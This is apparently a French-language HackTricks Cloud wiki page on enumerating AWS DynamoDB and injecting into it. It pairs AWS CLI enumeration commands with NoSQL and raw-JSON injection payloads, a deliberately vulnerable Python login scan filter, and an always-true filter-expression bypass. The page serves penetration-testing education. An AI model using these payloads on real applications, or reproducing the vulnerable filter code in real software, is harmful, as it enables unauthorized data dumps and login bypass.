AWS - DynamoDB Enum
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
DynamoDB
Informations de base
Amazon DynamoDB est prĂ©sentĂ© par AWS comme une base de donnĂ©es NoSQL clĂ©-valeur, entiĂšrement gĂ©rĂ©e et sans serveur, conçue pour alimenter des applications haute performance, quelle que soit leur taille. Le service garantit des fonctionnalitĂ©s robustes, y compris des mesures de sĂ©curitĂ© inhĂ©rentes, des sauvegardes ininterrompues, une rĂ©plication automatisĂ©e Ă travers plusieurs rĂ©gions, un cache en mĂ©moire intĂ©grĂ© et des utilitaires dâexportation de donnĂ©es pratiques.
Dans le contexte de DynamoDB, au lieu dâĂ©tablir une base de donnĂ©es traditionnelle, des tables sont créées. Chaque table nĂ©cessite la spĂ©cification dâune clĂ© de partition comme composant intĂ©gral de la clĂ© primaire de la table. Cette clĂ© de partition, essentiellement une valeur de hachage, joue un rĂŽle critique tant dans la rĂ©cupĂ©ration des Ă©lĂ©ments que dans la distribution des donnĂ©es Ă travers divers hĂŽtes. Cette distribution est essentielle pour maintenir Ă la fois la scalabilitĂ© et la disponibilitĂ© de la base de donnĂ©es. De plus, il est possible dâincorporer une clĂ© de tri pour affiner davantage lâorganisation des donnĂ©es.
Chiffrement
Par dĂ©faut, DynamoDB utilise une clĂ© KMS qui appartient Ă Amazon DynamoDB, pas mĂȘme la clĂ© gĂ©rĂ©e par AWS qui appartient au moins Ă votre compte.
Sauvegardes et exportation vers S3
Il est possible de programmer la gĂ©nĂ©ration de sauvegardes de table ou de les crĂ©er Ă la demande. De plus, il est Ă©galement possible dâactiver la rĂ©cupĂ©ration Ă un instant donnĂ© (PITR) pour une table. La rĂ©cupĂ©ration Ă un instant donnĂ© fournit des sauvegardes continues de vos donnĂ©es DynamoDB pendant 35 jours pour vous aider Ă vous protĂ©ger contre des opĂ©rations dâĂ©criture ou de suppression accidentelles.
Il est Ă©galement possible dâexporter les donnĂ©es dâune table vers S3, mais la table doit avoir PITR activĂ©.
GUI
Il existe une interface graphique pour les services Dynamo locaux comme DynamoDB Local, dynalite, localstack, etc., qui pourrait ĂȘtre utile : https://github.com/aaronshaf/dynamodb-admin
ĂnumĂ©ration
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field
#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename
# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>
# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>
# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>
# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints
AccÚs non authentifié
AWS - DynamoDB Unauthenticated Access
Privesc
Post Exploitation
AWS - DynamoDB Post Exploitation
Persistance
Injection DynamoDB
Injection SQL
Il existe des moyens dâaccĂ©der aux donnĂ©es DynamoDB avec la syntaxe SQL, donc, des injections SQL typiques sont Ă©galement possibles.
Injection NoSQL
Dans DynamoDB, diffĂ©rentes conditions peuvent ĂȘtre utilisĂ©es pour rĂ©cupĂ©rer des donnĂ©es, comme dans une injection NoSQL classique. Sâil est possible de chaĂźner plus de conditions pour rĂ©cupĂ©rer des donnĂ©es, vous pourriez obtenir des donnĂ©es cachĂ©es (ou vider toute la table).
Vous pouvez trouver ici les conditions prises en charge par DynamoDB : https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html
Notez que différentes conditions sont prises en charge si les données sont accessibles via query ou via scan.
Note
En fait, les actions Query doivent spĂ©cifier la condition âEQâ (Ă©gal) dans la clĂ© primaire pour fonctionner, ce qui les rend beaucoup moins sujettes aux injections NoSQL (et rend Ă©galement lâopĂ©ration trĂšs limitĂ©e).
Si vous pouvez modifier la comparaison effectuée ou en ajouter de nouvelles, vous pourriez récupérer plus de données.
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space
Injection Json brute
Caution
Cette vulnérabilité est basée sur le filtre de scan de dynamodb qui est maintenant obsolÚte !
DynamoDB accepte des objets Json pour rechercher des donnĂ©es dans la DB. Si vous constatez que vous pouvez Ă©crire dans lâobjet json envoyĂ© pour la recherche, vous pourriez faire un dump de la DB, tout le contenu.
Par exemple, injecter dans une requĂȘte comme :
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
un attaquant pourrait injecter quelque chose comme :
1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0
corriger la condition âEQâ en recherchant lâID 1000 et ensuite en cherchant toutes les donnĂ©es avec une chaĂźne dâId supĂ©rieure Ă 0, ce qui est tout.
Un autre exemple vulnĂ©rable utilisant une connexion pourrait ĂȘtre :
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])
dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
Cela serait vulnérable à :
username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
:property Injection
Certain SDKs permettent dâutiliser une chaĂźne indiquant le filtrage Ă effectuer comme :
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
Vous devez savoir que la recherche dans DynamoDB pour substituer une valeur dâattribut dans des expressions de filtre lors de la numĂ©risation des Ă©lĂ©ments, les tokens doivent commencer par le caractĂšre :. Ces tokens seront remplacĂ©s par la vĂ©ritable valeur dâattribut Ă lâexĂ©cution.
Par consĂ©quent, une connexion comme la prĂ©cĂ©dente peut ĂȘtre contournĂ©e avec quelque chose comme :
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

